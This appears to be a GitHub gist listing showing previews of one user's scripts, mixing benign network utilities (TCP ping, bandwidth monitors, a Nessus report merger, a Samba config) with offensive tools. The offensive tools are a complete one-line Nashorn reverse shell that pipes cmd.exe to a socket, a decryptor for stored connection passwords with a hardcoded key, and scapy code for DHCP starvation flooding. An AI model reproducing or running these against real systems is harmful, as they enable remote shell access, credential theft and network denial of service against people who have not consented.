This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
from __future__ import print_function | |
import sys | |
import socket | |
import getpass | |
import argparse | |
import impacket | |
from multiprocessing.dummy import Pool as ThreadPool | |
from impacket.smbconnection import SMBConnection |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import xml.etree.ElementTree as etree | |
import shutil | |
import os | |
first = 1 | |
for fileName in os.listdir("."): | |
if ".nessus" in fileName: | |
print(":: Parsing", fileName) | |
if first: | |
mainTree = etree.parse(fileName) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# | |
# Sample configuration file for the Samba suite for Debian GNU/Linux. | |
# | |
# | |
# This is the main Samba configuration file. You should read the | |
# smb.conf(5) manual page in order to understand the options listed | |
# here. Samba has a huge number of configurable options most of which | |
# are not shown in this example | |
# | |
# Some options that are often worth tuning have been included as |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var host="localhost"; | |
var port=8044; | |
var cmd="cmd.exe"; | |
var p=new java.lang.ProcessBuilder(cmd).redirectErrorStream(true).start();var s=new java.net.Socket(host,port);var pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();java.lang.Thread.sleep(50);try {p.exitValue();break;}catch (e){}};p.destroy();s.close(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import base64 | |
import md5 | |
import sys | |
from Crypto.Cipher import AES | |
key= md5.new("mR3m").digest() | |
encryptPassword = sys.argv[1] | |
pwdBase64 = base64.b64decode(encryptPassword) | |
iv = pwdBase64[:16] | |
encryptDigest = pwdBase64[16:] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
src_mac = RandMAC() | |
pkt = Ether(src=src_mac, dst="ff:ff:ff:ff:ff:ff") | |
pkt /= IP(src="0.0.0.0", dst="255.255.255.255") | |
pkt /= UDP(sport=68, dport=67) | |
pkt /= BOOTP(chaddr=RandString(12, "0123456789abcdef")) | |
pkt /= DHCP(options=[("message-type", "request"), | |
("requested_addr", requested_addr), | |
("server_id", "172.18.31.1"), | |
"end"]) | |
sendp(pkt) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from scapy.all import * | |
from time import sleep | |
from threading import Thread | |
class DHCPStarvation(object): | |
def __init__(self): | |
# Generated MAC stored to avoid same MAC requesting for different IP | |
self.mac = [""] | |
# Requested IP stored to identify registered IP |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python3 | |
""" | |
TCP Ping Test (defaults to port 80, 10000 packets) | |
Usage: ./tcpping.py host [port] [maxCount] | |
- Ctrl-C Exits with Results | |
""" | |
import sys | |
import socket |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
rx1=`cat /sys/class/net/eth0/statistics/rx_bytes`;tx1=`cat /sys/class/net/eth0/statistics/tx_bytes`;`sleep 1` ;rx2=`cat /sys/class/net/eth0/statistics/rx_bytes`;tx2=`cat /sys/class/net/eth0/statistics/tx_bytes`;echo -n "RX: $((($rx2-$rx1)/1024)) Kbps";echo -n " - ";echo -n "RX: $((($tx2-$tx1)/1024)) Kbps"; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
intervalo=1 | |
info="/sys/class/net/" | |
cd $info | |
for interface in eth* | |
do | |
rx1=`cat $info$interface/statistics/rx_bytes` | |
tx1=`cat $info$interface/statistics/tx_bytes` | |
`sleep $((intervalo))s` |
NewerOlder